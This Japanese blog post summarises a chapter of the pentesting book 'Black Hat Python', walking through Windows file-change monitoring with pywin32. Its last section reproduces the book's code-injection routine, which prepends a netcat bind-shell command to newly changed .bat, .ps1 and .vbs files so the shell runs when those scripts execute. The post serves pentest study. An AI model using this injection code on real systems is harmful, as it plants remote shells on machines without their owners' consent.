pythonでファイル操作の監視

BlackHatPython(2nd edition)を読むpython

Black Hat Python, 2nd Edition
Python Programming for Hackers and Pentesters
by Justin Seitz and Tim Arnold
no starch press
April 2021, 216 pp.

本記事は『Black Hat Python, 2nd Edition Python Programming for Hackers and Pentesters』の要点整理及び自分の理解度確認を目的として書いたものです。ここで解説する本書中のソースコードは全てno starch pressのサイトから誰でもフリーでダウンロードできます。自分の理解が及ばず誤りが散見される可能性がありますがご了承ください。

流石に本書に書いてある文章をそのまま訳してつらつら書くわけにはいかない。

 

ここでは誰でもフリーにダウンロードできる本書中のソースコードにおいて、大切な所や少し難しい所の説明を軽く挟んでいくだけ。

はしょった部分も沢山ある。

 

重要な部分は実際に本書を読まなければ知ることができない。

 

本書をすでに購入済みの人がその本片手に参考にするような記事になっている。

 

是非『Black Hat Python, 2nd Edition Python Programming for Hackers and Pentesters』を手に取ってその周辺の重要な説明部分にも目を通すことを勧める。

スポンサーリンク

monitor関数

いつそのディレクトリでそのファイルが加えられたか、削除されたか、変更されたかを監視する

FILE_LIST_DIRECTORY = 0x001
PATHS = ['c:\\WINDOWS\\Temp', tempfile.gettempdir()]

PATHSが監視するディレクトリのリスト。

tempfile.gettempdir()は、一時ファイルを格納するディレクトリ。
(ターミナルでpython起動して確認できる。)

win32file.CreateFile

h_directory = win32file.CreateFile(
        path_to_watch,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
        None,
        win32con.OPEN_EXISTING,       
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None
    )

まずはこれで監視するディレクトリのハンドル取得する。

 

CreateFileの第一引数はファイル名だけど、ここでは監視対象のディレクトリのパス。

第二引数は、読み取り・書き込み等のアクセスタイプ(int)。

第三引数でファイルの共有方法を指定する:

  • FILE_SHARE_READ:後続のオープン操作で読み取りアクセスが要求された場合にそのオープンを許可する
  • FILE_SHARE_WRITE:後続のオープン操作で書き込みアクセスが要求された場合にそのオープンを許可する
  • FILE_SHARE_DELETE:後続のオープン操作で削除アクセスが要求された場合にそのオープンを許可する

OPEN_EXISTINGで、ファイルがあればオープンするという意味。

その次の引数はファイルの属性やフラグを指定。FILE_FLAG_BACKUP_SEMANTICSバックアップまたは復元操作のためにファイルをオープンまたは作成する。

win32file.ReadDirectoryChangesW

ファイル操作があったことを知らせてくれる。

返り値は(action, filename)のようなリスト=(発生したイベントのタイプ,変更が加えられたファイル名)

results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
                win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
                win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
                win32con.FILE_NOTIFY_CHANGE_SECURITY |
                win32con.FILE_NOTIFY_CHANGE_SIZE,
                None,
                None
            )

第一引数に(上で作った)ディレクトリへのハンドル。

1024は、得た結果を割り当てるバッファのサイズ。

第三引数では、ReadDirectoryChangesW関数がディレクトリまたはディレクトリツリーを監視するか否かを指定する。

Trueなら指定されたディレクトリをルートとするディレクトリツリーを監視する。

 

その後の長いやつは”監視に使うフィルタ条件”つまり「指定したものについては監視します!」ということ。
意味は以下の通り:

  • FILE_NOTIFY_CHANGE_ATTRIBUTES…ファイル属性の変更
  • FILE_NOTIFY_CHANGE_DIR_NAME…ディレクトリ名の変更
  • FILE_NOTIFY_CHANGE_FILE_NAME…ファイル名の変更
  • FILE_NOTIFY_CHANGE_LAST_WRITE…ファイルの前回書き込み日時
  • FILE_NOTIFY_CHANGE_SECURITY…セキュリティ記述子
  • FILE_NOTIFY_CHANGE_SIZE…ファイルサイズの変更

コードインジェクション

(定数の部分は自分の環境に合わせて)

NETCAT = 'c:\\users\\tim\\work\\netcat.exe'
TGT_IP = '192.168.1.208'
CMD = f'{NETCAT} -t {TGT_IP} -p 9999 -l -c'

FILE_TYPES = {
    '.bat': ["\r\nREM bhpmarker\r\n", f'\r\n{CMD}\r\n'],
    '.ps1': ["\r\n#bhpmarker\r\n", f'\r\nStart-Process "{CMD}"\r\n'],
    '.vbs': ["\r\n'bhpmarker\r\n", f'\r\nCreateObject("Wscript.Shell").Run("{CMD}")\r\n'],
}

これヤベー。
すげー

ファイル変更があったら、(ファイルの拡張子に応じて)そのファイルの中にこちら側の悪意あるコードを書き入れる(コードインジェクション)。

そのコードがnetcat。ターゲットにポート9999番でリッスンさせるもの。

def inject_code(full_filename, contents, extension):
    if FILE_TYPES[extension][0].strip() in contents:
        return

    full_contents = FILE_TYPES[extension][0]
    full_contents += FILE_TYPES[extension][1]
    full_contents += contents
    with open(full_filename, 'w') as f:
        f.write(full_contents)
    print('\\o/ Injected Code')

上記の順番で繋げたものをファイルに書き入れる。

 

os.path.splitextはこんな動作する👇

>>> os.path.splitext('exploit.py')
('exploit', '.py')
タイトルとURLをコピーしました